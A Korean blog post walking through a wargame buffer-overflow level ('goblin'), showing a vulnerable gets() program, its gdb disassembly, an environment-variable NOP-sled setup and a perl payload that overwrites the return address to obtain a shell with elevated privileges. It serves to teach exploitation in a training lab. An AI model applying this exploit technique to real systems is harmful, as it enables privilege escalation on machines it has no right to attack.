티스토리 뷰


BOF 3단계 입니다.


이전 문제풀이와 마찬가지로 bash가 아닌 bash2 에서 실행하도록 하겠습니다.


홈 디렉토리로 가보면 goblin.cgoblin 실행파일이 있습니다.


우선 goblin.c 를 까보겠습니다.

Colored By Color Scripter

1
2
3
4
5
6
7
8
9
10
11
12
/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/
 
int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}


argc와 argv를 사용하고 않은 표준입력으로 buffer에 데이터를 받습니다.


gets 는 입력길이를 검사하지 않으므로 BOF 취약함수 이므로 gets 를 사용해 ret를 노려보겠습니다.


정확한 ret 위치를 구하기 위해 gdb로 까봅니다.


$ gdb goblin

(gdb) set disassembly-flavor intel

(gdb) disas main


1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x80483f8 <main>:    push   %ebp
0x80483f9 <main+1>:    mov    %ebp,%esp
0x80483fb <main+3>:    sub    %esp,16
0x80483fe <main+6>:    lea    %eax,[%ebp-16]
0x8048401 <main+9>:    push   %eax
0x8048402 <main+10>:    call   0x804830c <gets>
0x8048407 <main+15>:    add    %esp,4
0x804840a <main+18>:    lea    %eax,[%ebp-16]
0x804840d <main+21>:    push   %eax
0x804840e <main+22>:    push   0x8048470
0x8048413 <main+27>:    call   0x804833c <printf>
0x8048418 <main+32>:    add    %esp,8
0x804841b <main+35>:    leave  
0x804841c <main+36>:    ret

gets 에서 인자를 buffer 하나만을 받으므로 buffer의 위치는 ebp-16 인 것을 알 수 있습니다.

buffer에 20 byte를 입력하면 ret 에 접근할 수 있습니다.


우선 buffer의 크기가 충분하지 않기 때문에(16 byte) 환경변수를 사용하도록 하겠습니다.

export 명령어를 통해 환경변수를 등록합니다.

export YoWu=`perl -e 'print "\x90"x512, "쉘코드 61byte';`


그리고 등록한 환경변수의 주소 값을 확인하기 위해 간단한 C를 후딱 짭니다.

getenv.c
1
2
3
4
5
6
#include "stdio.h"
 
void main()
{
    printf("%x\n", getenv("YoWu"));
}


그리고 gcc 로 컴파일 한 후 실행시켜 보면



현재 YoWu 환경변수의 대략적인 위치가 0xbffffd06 임을 확인 할 수 있습니다.



perl 구문을 짜보도록 하겠습니다.


perl -e 'print "a"x20, "\x06\xfd\xff\xbf"';

(쓰레기 값 20 byte + YoWu의 주소 값)


이번 문제에서는 표준입력으로 buffer를 입력받기 때문에 표준입력으로 

perl 구문을 사용하기 위해 파이프(|)를 사용하도록 하겠습니다.


(perl -e 'print "a"x20, "\x06\xfd\xff\xbf"';cat) | ~/goblin

(표준입력으로 perl 구문을 사용할 때는 ;뒤에 cat이 들어갑니다

왜 그런지는 나중에 perl 공부한 후에 알려드릴게요.)




쉘을 딸 수 있었으며 권한이 goblin으로 상승한 것을 확인 할 수 있습니다.

goblin의 비밀번호는 

더보기





저작자 표시 비영리 변경 금지
신고
프로필사진

Yowu (Yu Yongwoo)

My MBTI type is ENTP. (Of course I do not believe it 100%, but I want to do that) I use Node.js to develop the backend. I use Ubuntu Linux as my development environment, and I love Vim. I am interested in open source and are keen to contribute. I have a bachelor's degree in computer science from Catholic University and now a software engineer at Plating Inc., I spent about 5 years developing and learning, and I am still interested in software development and culture. Recently, I am interested in React, Serverless structure, Domain Design Driven. Sometimes I play drums in the band.